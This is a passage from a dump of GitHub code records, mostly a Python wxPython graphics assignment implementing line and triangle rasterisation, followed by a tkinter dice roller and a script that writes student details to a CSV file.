4\n\n # test case status\n MIN_N_STEPS = 6\n MAX_N_STEPS = 192\n n_steps = 192 # For test case only\n test_case_index = 0\n test_case_list = [] # If you need more test case, write them as a method and add it to list\n\n def __init__(self, parent):\n \"\"\"\n Initialize the instance, load texture file to Buff, and load test cases.\n\n :param parent: wxpython frame\n :type parent: wx.Frame\n \"\"\"\n super(Sketch, self).__init__(parent)\n self.test_case_list = [lambda _: self.clear(),\n self.testCaseLine01,\n self.testCaseLine02,\n self.testCaseTri01,\n self.testCaseTri02,\n self.testCaseTriTexture01] # method at here must accept one argument, n_steps\n # # Try to read texture file (Causes import errors in my debugger, not bothering to try)\n # if os.path.isfile(self.texture_file_path):\n # # Read image and make it to an ndarray\n # texture_image = Image.open(self.texture_file_path)\n # texture_array = np.array(texture_image).astype(np.uint8)\n # # Because imported image is upside down, reverse it\n # texture_array = np.flip(texture_array, axis=0)\n # # Store texture image in our Buff format\n # self.texture = Buff(texture_array.shape[1], texture_array.shape[0])\n # self.texture.setStaticBuffArray(np.transpose(texture_array, (1, 0, 2)))\n # if self.debug > 0:\n # print(\"Texture Loaded with shape: \", texture_array.shape)\n # print(\"Texture Buff have size: \", self.texture.size)\n # else:\n # raise ImportError(\"Cannot import texture file\")\n\n def __addPoint2Pointlist(self, pointlist, x, y):\n if self.randomColor:\n p = Point((x, y), ColorType(random.random(), random.random(), random.random()))\n else:\n p = Point((x, y), ColorType(1, 0, 0))\n pointlist.append(p)\n \n def coordsToPoint(self, x, y):\n if self.randomColor:\n p = Point((x, y), ColorType(random.random(), random.random(), random.random()))\n else:\n p = Point((x, y), ColorType(1, 0, 0))\n return p\n def coordsToPointCol(self, x, y, c):\n p = Point((x, y), ColorType(c.r,c.g,c.b))\n return p\n\n # Deal with Mouse Left Button Pressed Interruption\n def Interrupt_MouseL(self, x, y):\n self.__addPoint2Pointlist(self.points_l, x, y)\n # Draw a point when one point provided or a line when two ends provided\n if len(self.points_l) % 2 == 1:\n if self.debug > 0:\n print(\"draw a point\", self.points_l[-1])\n self.drawPoint(self.buff, self.points_l[-1])\n elif len(self.points_l) % 2 == 0 and len(self.points_l) > 0:\n if self.debug > 0:\n print(\"draw a line from \", self.points_l[-1], \" -> \", self.points_l[-2])\n self.drawPoint(self.buff, self.points_l[-1])\n self.drawLine(self.buff, self.points_l[-1], self.points_l[-2], self.doSmooth)\n self.points_l.clear()\n\n # Deal with Mouse Right Button Pressed Interruption\n def Interrupt_MouseR(self, x, y):\n self.__addPoint2Pointlist(self.points_r, x, y)\n if len(self.points_r) % 3 == 1:\n if self.debug > 0:\n print(\"draw a point\", self.points_r[-1])\n self.drawPoint(self.buff, self.points_r[-1])\n elif len(self.points_r) % 3 == 2:\n if self.debug > 0:\n print(\"draw a point\", self.points_r[-1])\n self.drawPoint(self.buff, self.points_r[-1])\n elif len(self.points_r) % 3 == 0 and len(self.points_r) > 0:\n if self.debug > 0:\n print(\"draw a triangle {} -> {} -> {}\".format(self.points_r[-3], self.points_r[-2], self.points_r[-1]))\n self.drawPoint(self.buff, self.points_r[-1])\n self.drawTriangle(self.buff, self.points_r[-1], self.points_r[-2], self.points_r[-3], self.doSmooth)\n self.points_r.clear()\n\n def Interrupt_Keyboard(self, keycode):\n \"\"\"\n keycode Reference: https://docs.wxpython.org/wx.KeyCode.enumeration.html#wx-keycode\n\n * r, R: Generate Random Color point\n * c, C: clear buff and screen\n * LEFT, UP: Last Test case\n * t, T, RIGHT, DOWN: Next Test case\n \"\"\"\n # Trigger for test cases\n if keycode in [wx.WXK_LEFT, wx.WXK_UP]: # Last Test Case\n self.clear()\n if len(self.test_case_list) != 0:\n self.test_case_index = (self.test_case_index - 1) % len(self.test_case_list)\n self.test_case_list[self.test_case_index](self.n_steps)\n print(\"Display Test case: \", self.test_case_index, \"n_steps: \", self.n_steps)\n if keycode in [ord(\"t\"), ord(\"T\"), wx.WXK_RIGHT, wx.WXK_DOWN]: # Next Test Case\n self.clear()\n if len(self.test_case_list) != 0:\n self.test_case_index = (self.test_case_index + 1) % len(self.test_case_list)\n self.test_case_list[self.test_case_index](self.n_steps)\n print(\"Display Test case: \", self.test_case_index, \"n_steps: \", self.n_steps)\n if chr(keycode) in \",<\":\n self.clear()\n self.n_steps = max(self.MIN_N_STEPS, round(self.n_steps / 2))\n self.test_case_list[self.test_case_index](self.n_steps)\n print(\"Display Test case: \", self.test_case_index, \"n_steps: \", self.n_steps)\n if chr(keycode) in \".>\":\n self.clear()\n self.n_steps = min(self.MAX_N_STEPS, round(self.n_steps * 2))\n self.test_case_list[self.test_case_index](self.n_steps)\n print(\"Display Test case: \", self.test_case_index, \"n_steps: \", self.n_steps)\n\n # Switches\n if chr(keycode) in \"rR\":\n self.randomColor = not self.randomColor\n print(\"Random Color: \", self.randomColor)\n if chr(keycode) in \"cC\":\n self.clear()\n print(\"clear Buff\")\n if chr(keycode) in \"sS\":\n self.doSmooth = not self.doSmooth\n print(\"Do Smooth: \", self.doSmooth)\n if chr(keycode) in \"aA\":\n self.doAA = not self.doAA\n print(\"Do Anti-Aliasing: \", self.doAA)\n if chr(keycode) in \"mM\":\n self.doTexture = not self.doTexture\n print(\"texture mapping: \", self.doTexture)\n\n def queryTextureBuffPoint(self, texture: Buff, x: int, y: int) -> Point:\n \"\"\"\n Query a point at texture buff, should only be used in texture buff query\n\n :param texture: The texture buff you want to query from\n :type texture: Buff\n :param x: The query point x coordinate\n :type x: int\n :param y: The query point y coordinate\n :type y: int\n :rtype: Point\n \"\"\"\n if self.debug > 1:\n if x != min(max(0, int(x)), texture.width - 1):\n print(\"Warning: Texture Query x coordinate outbound\")\n if y != min(max(0, int(y)), texture.height - 1):\n print(\"Warning: Texture Query y coordinate outbound\")\n return texture.getPointFromPointArray(x, y)\n\n @staticmethod\n def drawPoint(buff, point):\n \"\"\"\n Draw a point on buff\n\n :param buff: The buff to draw point on\n :type buff: Buff\n :param point: A point to draw on buff\n :type point: Point\n :rtype: None\n \"\"\"\n x, y = point.coords\n c = point.color\n # because we have already specified buff.buff has data type uint8, type conversion will be done in numpy\n buff.buff[x, y, 0] = c.r * 255\n buff.buff[x, y, 1] = c.g * 255\n buff.buff[x, y, 2] = c.b * 255\n\n def drawRectangle(self, buff, p1, p2):\n \"\"\"\n Draw a line between p1 and p2 on buff\n\n :param buff: The buff to edit\n :type buff: Buff\n :param p1: One vertex of the rectangle\n :type p1: Point\n :param p2: Another vertex of the line\n :type p2: Point\n :rtype: None\n \"\"\"\n x1, y1 = p1.coords\n x2, y2 = p2.coords\n # find order, only doing fill so don't care about pairs\n xmin = min(x1, x2)\n xmax = max(x1, x2)\n ymin = min(y1, y2)\n ymax = max(y1, y2)\n\n c = p1.color\n\n for x in range(xmin,xmax+1):\n for y in range(ymin,ymax+1):\n self.drawPoint(buff, self.coordsToPointCol(x,y,c))\n return\n\n def drawLine(self, buff, p1, p2, doSmooth=True, doAA=False, doAAlevel=4):\n \"\"\"\n Draw a line between p1 and p2 on buff\n\n :param buff: The buff to edit\n :type buff: Buff\n :param p1: One end point of the line\n :type p1: Point\n :param p2: Another end point of the line\n :type p2: Point\n :param doSmooth: Control flag of color smooth interpolation\n :type doSmooth: bool\n :param doAA: Control flag of doing anti-aliasing\n :type doAA: bool\n :param doAAlevel: anti-aliasing super sampling level\n :type doAAlevel: int\n :rtype: None\n \"\"\"\n ##### TODO 1: Use Bresenham algorithm to draw a line between p1 and p2 on buff.\n # Requirements:\n # 1. Only integer is allowed in interpolate point coordinates between p1 and p2\n # 2. Float number is allowed in interpolate point color\n # Alg: Dk+1 = Dk + 2dely - 2delx*(yk+1 - yk)\n x1, y1 = p1.coords\n x2, y2 = p2.coords\n c2 = p2.color\n c1 = p1.color\n\n vertexList = [(y1,x1,c1), (y2,x2,c2)]\n def sortHeight(elem):\n return elem[0]\n vertexList = sorted(vertexList, key=sortHeight)\n\n #give these descriptive names\n yTop = vertexList[1][0]\n xTop = vertexList[1][1]\n cTop = vertexList[1][2]\n yBot = vertexList[0][0]\n xBot = vertexList[0][1]\n cBot = vertexList[0][2]\n delX = xTop - xBot\n delY = yTop - yBot\n \n # special cases\n if delX == 0:\n if doSmooth:\n color = ColorType(cBot.r,cBot.g,cBot.b)\n else:\n color = ColorType(c2.r,c2.g,c2.b)\n for y in range(yBot, yTop):\n self.drawPoint(buff, self.coordsToPointCol(xTop,y,color))\n if doSmooth:\n alpha = (y-yBot)/(delY)\n color.r = cBot.r*(1-alpha) + alpha*cTop.r\n color.g = cBot.g*(1-alpha) + alpha*cTop.g\n color.b = cBot.b*(1-alpha) + alpha*cTop.b\n elif delY == 0:\n if delX >= 0:\n if doSmooth:\n color = ColorType(cBot.r,cBot.g,cBot.b)\n else:\n color = ColorType(c2.r,c2.g,c2.b)\n for x in range(xBot, xTop):\n self.drawPoint(buff, self.coordsToPointCol(x,yTop,color))\n if doSmooth:\n alpha = (x-xBot)/(delX)\n color.r = cBot.r*(1-alpha) + alpha*cTop.r\n color.g = cBot.g*(1-alpha) + alpha*cTop.g\n color.b = cBot.b*(1-alpha) + alpha*cTop.b\n else:\n if doSmooth:\n color = ColorType(cTop.r,cTop.g,cTop.b)\n else:\n color = ColorType(c2.r,c2.g,c2.b)\n for x in range(xTop, xBot):\n self.drawPoint(buff, self.coordsToPointCol(x,yTop,color))\n if doSmooth:\n alpha = (x-xTop)/(abs(delX))\n color.r = cTop.r*(1-alpha) + alpha*cBot.r\n color.g = cTop.g*(1-alpha) + alpha*cBot.g\n color.b = cTop.b*(1-alpha) + alpha*cBot.b\n # regular cases\n else:\n if doSmooth:\n color = ColorType(cBot.r,cBot.g,cBot.b)\n else:\n color = ColorType(c2.r,c2.g,c2.b)\n # choose var to step by\n if 0<= abs(delY/delX) <= 1:\n delDecide = delY\n delStep = delX\n\n decideK = yBot\n stepMax = xTop\n stepMin = xBot\n else:\n delDecide = delX\n delStep = delY\n\n decideK = xBot\n stepMax = yTop\n stepMin = yBot\n #pos slope case\n if delY/delX >=0:\n decideK1 = decideK + 1\n dec = (2 * delDecide) - delStep\n for step in range(stepMin, stepMax):\n if delY/delX <= 1:\n self.drawPoint(buff, self.coordsToPointCol(step,decideK,color))\n else:\n self.drawPoint(buff, self.coordsToPointCol(decideK,step,color)) \n if dec >= 0:\n dec = dec + (2 * delDecide) - (2 * delStep)\n decideK = decideK1\n decideK1 = decideK + 1\n else:\n dec = dec + (2 * delDecide)\n if doSmooth:\n alpha = (step-stepMin)/(delStep)\n color.r = cBot.r*(1-alpha) + alpha*cTop.r\n color.g = cBot.g*(1-alpha) + alpha*cTop.g\n color.b = cBot.b*(1-alpha) + alpha*cTop.b\n # neg slope case, could be going from right to left, may be preferable\n else:\n color = ColorType(cTop.r,cTop.g,cTop.b)\n dec = (2 * delDecide) + delStep\n if delY/delX >= -1:\n decideK = yTop\n decideK1 = decideK - 1\n for step in range(stepMax, stepMin):\n self.drawPoint(buff, self.coordsToPointCol(step,decideK,color))\n if dec <= 0:\n dec = dec - (2 * delDecide) - (2 * delStep)\n decideK = decideK1\n decideK1 = decideK - 1\n else:\n dec = dec - (2 * delDecide)\n if doSmooth:\n alpha = (stepMax-step)/(delStep)\n color.r = cTop.r*(1-alpha) + alpha*cBot.r\n color.g = cTop.g*(1-alpha) + alpha*cBot.g\n color.b = cTop.b*(1-alpha) + alpha*cBot.b\n else:\n decideK = xTop\n decideK1 = decideK + 1\n # this is a separate case due to python for loops not counting backwards\n for step in range(stepMax, stepMin, -1):\n self.drawPoint(buff, self.coordsToPointCol(decideK,step,color)) \n if dec < 0:\n dec = dec + (2 * delDecide) + (2 * delStep)\n decideK = decideK1\n decideK1 = decideK + 1\n else:\n dec = dec + (2 * delDecide)\n if doSmooth:\n alpha = (stepMax-step)/(delStep)\n color.r = cTop.r*(1-alpha) + alpha*cBot.r\n color.g = cTop.g*(1-alpha) + alpha*cBot.g\n color.b = cTop.b*(1-alpha) + alpha*cBot.b\n return\n\n def drawTriangle(self, buff, p1, p2, p3, doSmooth=True, doAA=False, doAAlevel=4, doTexture=False):\n \"\"\"\n draw Triangle to buff. apply smooth color filling if doSmooth set to true, otherwise fill with first point color\n if doAA is true, apply anti-aliasing to triangle based on doAAlevel given.\n\n :param buff: The buff to edit\n :type buff: Buff\n :param p1: First triangle vertex\n :param p2: Second triangle vertex\n :param p3: Third triangle vertex\n :type p1: Point\n :type p2: Point\n :type p3: Point\n :param doSmooth: Color smooth filling control flag\n :type doSmooth: bool\n :param doAA: Anti-aliasing control flag\n :type doAA: bool\n :param doAAlevel: Anti-aliasing super sampling level\n :type doAAlevel: int\n :param doTexture: Draw triangle with texture control flag\n :type doTexture: bool\n :rtype: None\n \"\"\"\n ##### TODO 2: Write a triangle rendering function, which support smooth bilinear interpolation of the vertex color\n ##### TODO 3(For CS680 Students): Implement texture-mapped fill of triangle. Texture is stored in self.texture\n # Requirements:\n # 1. For flat shading of the triangle, use the first vertex color.\n # 2. Polygon scan fill algorithm and the use of barycentric coordinate are not allowed in this function\n # 3. You should be able to support both flat shading and smooth shading, which is controlled by doSmooth\n # 4. For texture-mapped fill of triangles, it should be controlled by doTexture flag.\n\n # flags to keep track of if top and/or bot triangle needs to be filled\n isTopTri = True\n isBotTri = True\n\n x1, y1 = p1.coords\n x2, y2 = p2.coords\n x3, y3 = p3.coords\n c1 = p1.color\n c2 = p2.color\n c3 = p3.color\n\n # need uppermost vertex first, then go downwards\n vertexList = [(y1,x1,c1), (y2,x2,c2), (y3,x3,c3)]\n def sortHeight(elem):\n return elem[0]\n vertexList = sorted(vertexList, key=sortHeight)\n\n #give these descriptive names\n yTop = vertexList[2][0]\n xTop = vertexList[2][1]\n cTop = vertexList[2][2]\n yMid = vertexList[1][0]\n xMid = vertexList[1][1]\n cMid = vertexList[1][2]\n yBot = vertexList[0][0]\n xBot = vertexList[0][1]\n cBot = vertexList[0][2]\n\n delXMid = xTop - xMid\n delYMid = yTop - yMid\n delXBot = xTop - xBot\n delYBot = yTop - yBot\n\n # flat bottom edge\n if delYMid == delYBot:\n isBotTri = False\n # flat top edge\n elif (delYMid == 0) ^ (delYBot == 0):\n isTopTri = False\n # need to find cutoff point to make a top and bottom triangle\n if(isBotTri & isTopTri):\n xCutOff = xTop - (delYMid/delYBot) * delXBot\n yCutOff = yMid\n alph = (delYMid/delYBot)\n cCutOff = ColorType(cTop.r*(1-alph) + alph*cBot.r,cTop.g*(1-alph) + alph*cBot.g,cTop.b*(1-alph) + alph*cBot.b)\n # in top only, bot vertex is cutoff\n elif isBotTri == False & isTopTri:\n xCutOff = xBot\n yCutOff = yBot\n cCutOff = ColorType(cBot.r,cBot.g,cBot.b)\n # in bot only, top vertex is cutoff\n else:\n xCutOff = xTop\n yCutOff = yTop\n cCutOff = ColorType(cTop.r,cTop.g,cTop.b) \n \n if isTopTri:\n if doSmooth:\n color = [ColorType(cTop.r,cTop.g,cTop.b),ColorType(cTop.r,cTop.g,cTop.b)]\n else:\n color = [ColorType(c3.r,c3.g,c3.b),ColorType(c3.r,c3.g,c3.b)]\n xSlope1 = (xMid - xTop)/(yCutOff - yTop)\n xSlope2 = (xCutOff-xTop)/(yCutOff - yTop)\n\n xStep1 = xTop\n xStep2 = xTop\n # step down from top vertex\n for step in range (yTop, yCutOff-1, -1): \n if doSmooth:\n alpha = (yTop-step)/(yTop-yCutOff)\n color[0].r = cTop.r*(1-alpha) + alpha*cMid.r\n color[0].g = cTop.g*(1-alpha) + alpha*cMid.g\n color[0].b = cTop.b*(1-alpha) + alpha*cMid.b\n color[1].r = cTop.r*(1-alpha) + alpha*cCutOff.r\n color[1].g = cTop.g*(1-alpha) + alpha*cCutOff.g\n color[1].b = cTop.b*(1-alpha) + alpha*cCutOff.b \n self.drawLine(buff, self.coordsToPointCol(int(xStep1),step,color[0]), self.coordsToPointCol(int(xStep2),step,color[1]), doSmooth)\n xStep1 -= xSlope1\n xStep2 -= xSlope2\n # step up from bottom vertex\n if isBotTri:\n if doSmooth:\n color = [ColorType(cBot.r,cBot.g,cBot.b),ColorType(cBot.r,cBot.g,cBot.b)]\n else:\n color = [ColorType(c3.r,c3.g,c3.b),ColorType(c3.r,c3.g,c3.b)]\n xSlope1 = (xMid - xBot)/(yCutOff - yBot)\n xSlope2 = (xCutOff-xBot)/(yCutOff - yBot)\n\n xStep1 = xBot\n xStep2 = xBot\n for step in range (yBot, yCutOff+1): \n if doSmooth:\n alpha = (step-yBot)/(yCutOff-yBot)\n color[0].r = cBot.r*(1-alpha) + alpha*cMid.r\n color[0].g = cBot.g*(1-alpha) + alpha*cMid.g\n color[0].b = cBot.b*(1-alpha) + alpha*cMid.b\n color[1].r = cBot.r*(1-alpha) + alpha*cCutOff.r\n color[1].g = cBot.g*(1-alpha) + alpha*cCutOff.g\n color[1].b = cBot.b*(1-alpha) + alpha*cCutOff.b \n self.drawLine(buff, self.coordsToPointCol(int(xStep1),step,color[0]), self.coordsToPointCol(int(xStep2),step,color[1]), doSmooth)\n xStep1 += xSlope1\n xStep2 += xSlope2\n return\n\n # test for lines lines in all directions\n def testCaseLine01(self, n_steps):\n center_x = int(self.buff.width / 2)\n center_y = int(self.buff.height / 2)\n radius = int(min(self.buff.width, self.buff.height) * 0.45)\n\n v0 = Point([center_x, center_y], ColorType(1, 1, 0))\n for step in range(0, n_steps):\n theta = math.pi * step / n_steps\n v1 = Point([center_x + int(math.sin(theta) * radius), center_y + int(math.cos(theta) * radius)],\n ColorType(0, 0, (1 - step / n_steps)))\n v2 = Point([center_x - int(math.sin(theta) * radius), center_y - int(math.cos(theta) * radius)],\n ColorType(0, (1 - step / n_steps), 0))\n self.drawLine(self.buff, v0, v2, doSmooth=True)\n self.drawLine(self.buff, v0, v1, doSmooth=True)\n\n # test for lines: drawing circle and petal \n def testCaseLine02(self, n_steps):\n n_steps = 2 * n_steps\n d_theta = 2 * math.pi / n_steps\n d_petal = 12 * math.pi / n_steps\n cx = int(self.buff.width / 2)\n cy = int(self.buff.height / 2)\n radius = (0.75 * min(cx, cy))\n p = radius * 0.25\n\n # Outer petals\n for i in range(n_steps + 2):\n self.drawLine(self.buff,\n Point((math.floor(0.5 + radius * math.sin(d_theta * i) + p * math.sin(d_petal * i)) + cx,\n math.floor(0.5 + radius * math.cos(d_theta * i) + p * math.cos(d_petal * i)) + cy),\n ColorType(1, (128 + math.sin(d_theta * i * 5) * 127) / 255,\n (128 + math.cos(d_theta * i * 5) * 127) / 255)),\n Point((math.floor(\n 0.5 + radius * math.sin(d_theta * (i + 1)) + p * math.sin(d_petal * (i + 1))) + cx,\n math.floor(0.5 + radius * math.cos(d_theta * (i + 1)) + p * math.cos(\n d_petal * (i + 1))) + cy),\n ColorType(1, (128 + math.sin(d_theta * 5 * (i + 1)) * 127) / 255,\n (128 + math.cos(d_theta * 5 * (i + 1)) * 127) / 255)),\n self.doAA, self.doAAlevel)\n\n # Draw circle\n for i in range(n_steps + 1):\n v0 = Point((math.floor(0.5 * radius * math.sin(d_theta * i)) + cx,\n math.floor(0.5 * radius * math.cos(d_theta * i)) + cy), ColorType(1, 97. / 255, 0))\n v1 = Point((math.floor(0.5 * radius * math.sin(d_theta * (i + 1))) + cx,\n math.floor(0.5 * radius * math.cos(d_theta * (i + 1))) + cy), ColorType(1, 97. / 255, 0))\n self.drawLine(self.buff, v0, v1, self.doAA, self.doAAlevel)\n\n # test for smooth filling triangle\n def testCaseTri01(self, n_steps):\n n_steps = int(n_steps / 2)\n delta = 2 * math.pi / n_steps\n radius = int(min(self.buff.width, self.buff.height) * 0.45)\n cx = int(self.buff.width / 2)\n cy = int(self.buff.height / 2)\n theta = 0\n\n for _ in range(n_steps):\n theta += delta\n v0 = Point((cx, cy), ColorType(1, 1, 1))\n v1 = Point((int(cx + math.sin(theta) * radius), int(cy + math.cos(theta) * radius)),\n ColorType((127. + 127. * math.sin(theta)) / 255,\n (127. + 127. * math.sin(theta + 2 * math.pi / 3)) / 255,\n (127. + 127. * math.sin(theta + 4 * math.pi / 3)) / 255))\n v2 = Point((int(cx + math.sin(theta + delta) * radius), int(cy + math.cos(theta + delta) * radius)),\n ColorType((127. + 127. * math.sin(theta + delta)) / 255,\n (127. + 127. * math.sin(theta + delta + 2 * math.pi / 3)) / 255,\n (127. + 127. * math.sin(theta + delta + 4 * math.pi / 3)) / 255))\n self.drawTriangle(self.buff, v1, v0, v2, False, self.doAA, self.doAAlevel)\n\n def testCaseTri02(self, n_steps):\n # Test case for no smooth color filling triangle\n n_steps = int(n_steps / 2)\n delta = 2 * math.pi / n_steps\n radius = int(min(self.buff.width, self.buff.height) * 0.45)\n cx = int(self.buff.width / 2)\n cy = int(self.buff.height / 2)\n theta = 0\n\n for _ in range(n_steps):\n theta += delta\n v0 = Point((cx, cy), ColorType(1, 1, 1))\n v1 = Point((int(cx + math.sin(theta) * radius), int(cy + math.cos(theta) * radius)),\n ColorType((127. + 127. * math.sin(theta)) / 255,\n (127. + 127. * math.sin(theta + 2 * math.pi / 3)) / 255,\n (127. + 127. * math.sin(theta + 4 * math.pi / 3)) / 255))\n v2 = Point((int(cx + math.sin(theta + delta) * radius), int(cy + math.cos(theta + delta) * radius)),\n ColorType((127. + 127. * math.sin(theta + delta)) / 255,\n (127. + 127. * math.sin(theta + delta + 2 * math.pi / 3)) / 255,\n (127. + 127. * math.sin(theta + delta + 4 * math.pi / 3)) / 255))\n self.drawTriangle(self.buff, v0, v1, v2, True, self.doAA, self.doAAlevel)\n\n def testCaseTriTexture01(self, n_steps):\n # Test case for no smooth color filling triangle\n n_steps = int(n_steps / 2)\n delta = 2 * math.pi / n_steps\n radius = int(min(self.buff.width, self.buff.height) * 0.45)\n cx = int(self.buff.width / 2)\n cy = int(self.buff.height / 2)\n theta = 0\n\n triangleList = []\n for _ in range(n_steps):\n theta += delta\n v0 = Point((cx, cy), ColorType(1, 1, 1))\n v1 = Point((int(cx + math.sin(theta) * radius), int(cy + math.cos(theta) * radius)),\n ColorType((127. + 127. * math.sin(theta)) / 255,\n (127. + 127. * math.sin(theta + 2 * math.pi / 3)) / 255,\n (127. + 127. * math.sin(theta + 4 * math.pi / 3)) / 255))\n v2 = Point((int(cx + math.sin(theta + delta) * radius), int(cy + math.cos(theta + delta) * radius)),\n ColorType((127. + 127. * math.sin(theta + delta)) / 255,\n (127. + 127. * math.sin(theta + delta + 2 * math.pi / 3)) / 255,\n (127. + 127. * math.sin(theta + delta + 4 * math.pi / 3)) / 255))\n triangleList.append([v0, v1, v2])\n\n for t in triangleList:\n self.drawTriangle(self.buff, *t, doTexture=True)\n\n\nif __name__ == \"__main__\":\n def main():\n print(\"This is the main entry! \")\n app = wx.App(False)\n # Set FULL_REPAINT_ON_RESIZE will repaint everything when scaling the frame\n # here is the style setting for it: wx.DEFAULT_FRAME_STYLE | wx.FULL_REPAINT_ON_RESIZE\n # wx.DEFAULT_FRAME_STYLE ^ wx.RESIZE_BORDER will disable canvas resize.\n frame = wx.Frame(None, size=(500, 500), title=\"Test\", style=wx.DEFAULT_FRAME_STYLE | wx.FULL_REPAINT_ON_RESIZE)\n\n canvas = Sketch(frame)\n #canvas.debug = 0\n\n frame.Show()\n app.MainLoop()\n\n\n def codingDebug():\n \"\"\"\n If you are still working on the assignment, we suggest to use this as the main call.\n There will be more strict type checking in this version, which might help in locating your bugs.\n \"\"\"\n print(\"This is the debug entry! \")\n import cProfile\n import pstats\n profiler = cProfile.Profile()\n profiler.enable()\n\n app = wx.App(False)\n # Set FULL_REPAINT_ON_RESIZE will repaint everything when scaling the frame\n # here is the style setting for it: wx.DEFAULT_FRAME_STYLE | wx.FULL_REPAINT_ON_RESIZE\n # wx.DEFAULT_FRAME_STYLE ^ wx.RESIZE_BORDER will disable canvas resize.\n frame = wx.Frame(None, size=(500, 500), title=\"Test\", style=wx.DEFAULT_FRAME_STYLE | wx.FULL_REPAINT_ON_RESIZE)\n canvas = Sketch(frame)\n canvas.debug = 2\n frame.Show()\n app.MainLoop()\n\n profiler.disable()\n stats = pstats.Stats(profiler).sort_stats('cumtime').reverse_order()\n stats.print_stats()\n\n\n main()\n # codingDebug()\n","repo_name":"AlexNecakov/PythonGraphics","sub_path":"2DTriangleFill/Sketch.py","file_name":"Sketch.py","file_ext":"py","file_size_in_byte":32251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9963347612","text":"import tkinter as tk\nimport random as rd\nfrom const import *\n\n\nclass Roller:\n\n def __init__(self):\n self.window = tk.Tk()\n self.window.title(\"Diceroller\")\n self.window.config(width=640, height=480, padx=PAD_WINDOW, pady=PAD_WINDOW)\n\n self.dice_buttons = [DiceButton(self, SIDES.index(side), side) for side in SIDES]\n self.dice_labels = [DiceLabel(column) for column in range(len(SIDES))]\n\n self.result = Label(2, 1, RESULT_FONT, \"\")\n self.result.label.grid(rowspan=2)\n\n self.roll_btn = Button(2, 0, \"Roll!\", self.roll_dice, True)\n self.adv_btn = Button(2, ROWS-3, \"Adv. d20\", self.advantage)\n self.dadv_btn = Button(2, ROWS-2, \"dAdv. d20\", self.disadvantage, True)\n self.clear_btn = Button(2, ROWS-1, \"Clear\", self.clear, True)\n self.short_btns = [self.adv_btn, self.dadv_btn]\n\n self.window.mainloop()\n\n def roll_dice(self):\n results = []\n for pool in self.dice_labels:\n if pool.label[\"text\"]:\n pool.label_to_results(results)\n result = sum(results)\n self.result.label.config(text=f\"{result}\")\n self._disable_rolling()\n\n def clear(self):\n self._enable_rolling()\n self._enable_dice_btns()\n self._reset_dice_counters()\n self._clear_labels()\n\n def _double_d20(self):\n self.reset_if_needed()\n self._clear_labels()\n d20_btn = self.dice_buttons[-1]\n d20_label = self.dice_labels[-1]\n for _ in range(2):\n d20_btn.add_die()\n results = []\n d20_label.label_to_results(results)\n return results\n\n def advantage(self):\n result = max(self._double_d20())\n self.result.update(result)\n self._disable_rolling()\n\n def disadvantage(self):\n result = min(self._double_d20())\n self.result.update(result)\n self._disable_rolling()\n\n def _disable_rolling(self):\n self.roll_btn.button.config(state=\"disabled\")\n\n def _enable_rolling(self):\n self.roll_btn.button.config(state=\"normal\")\n\n def _disable_dice_btns(self):\n for button in self.dice_buttons:\n button.button.config(state=\"disabled\")\n\n def _enable_dice_btns(self):\n for button in self.dice_buttons:\n button.button.config(state=\"normal\")\n\n def _reset_dice_counters(self):\n for button in self.dice_buttons:\n button.die_counter = 0\n\n def _clear_labels(self):\n for label in self.dice_labels:\n label.label.config(text=\"\")\n self.result.label.config(text=\"\")\n\n def reset_if_needed(self):\n result_label = self.result.label[\"text\"]\n reset_needed = True if len(result_label) > 0 else False\n if reset_needed:\n self.clear()\n\n\nclass Button:\n\n def __init__(self, column: int, row: int, text: str, command, wide=True):\n self.width = BTN_WIDE if wide else BTN_WIDTH\n self.button = tk.Button(font=FONT, height=BTN_HEIGHT, width=self.width)\n self.button.config(text=text, command=command)\n self.button.grid(row=row, column=column, padx=PAD, pady=PAD)\n\n\nclass DiceButton(Button):\n\n def __init__(self, roller: Roller, index: int, sides: int):\n super().__init__(0, index, f\"{sides}\", self.add_die, wide=False)\n self.roller = roller\n self.index = index\n self.sides = sides\n self.die_counter = 0\n\n def add_die(self):\n self.roller.reset_if_needed()\n self.die_counter += 1\n die_label = self.roller.dice_labels[self.index].label\n die_label.config(text=f\"{self.die_counter}{DICE_MARKER}{self.sides}\")\n if self.die_counter == MAX_DICE_POOL:\n die_button = self.roller.dice_buttons[self.index].button\n die_button.config(state=\"disabled\")\n\n\nclass Label:\n\n def __init__(self, column: int, row: int, font: tuple, text: str):\n self.label = tk.Label(text=text, font=font, padx=PAD, pady=PAD, width=BTN_WIDE, wraplength=75)\n self.label.grid(column=column, row=row)\n\n def update(self, text):\n self.label.config(text=f\"{text}\")\n\n\nclass DiceLabel(Label):\n\n def __init__(self, row: int):\n super().__init__(1, row, FONT, \"\")\n\n def label_to_results(self, results: list):\n split_label = self.label[\"text\"].split(DICE_MARKER)\n dice_int = [int(x) for x in split_label]\n pool_count, pool_sides = dice_int\n pool_results = []\n for _ in range(pool_count):\n roll = rd.randrange(pool_sides) + 1\n pool_results.append(roll)\n self.update(pool_results)\n results.extend(pool_results)\n","repo_name":"pzgawronski/diceroller","sub_path":"UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":4649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17852230065","text":"import importlib\nimport csv\n\ndef Write_into_csv(split_info_list):\n with open(\"studentData.csv\",'a',newline='') as csv_file:\n writer=csv.writer(csv_file)\n if csv_file.tell()==0:\n writer.writerow([\"NAME\",\"CLASS\",\"ROLLNO\",\"CONTACT\"])\n \n \n writer.writerow(split_info_list)\n\n\nif __name__=='__main__':\n condition=True\n while(condition==True):\n\n \n student_info=input(\"Enter the student info in following order (Name Class rollNo phoneNumber)\\n\")\n student_info_split=student_info.split(\" \")\n print(\"Entered Info of student is\\n 1.Name:{}\\n 2.Class:{}\\n 3.RollNo:{}\\n 4.Contact Number:{}\\n\".format(student_info_split[0],student_info_split[1],student_info_split[2],student_info_split[3]))\n\n print(\"check if info entered correctly\\n\")\n\n info_check=input(\"write this to file (yes/no):\")\n if 'yes' in info_check:\n Write_into_csv(student_info_split)\n \n condition_check=input(\"Enter more student info?(yes/no)\")\n if condition_check=='yes':\n condition=True\n else:\n condition=False\n\n \n\n","repo_name":"Rahulkhot10/MyCaptainPythonP4","sub_path":"Admin.py","file_name":"Admin.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25212406310","text":"'''Example for configuring a xmlrpcssl server with built-in ldap handler'''\nfrom datetime import datetime\nfrom 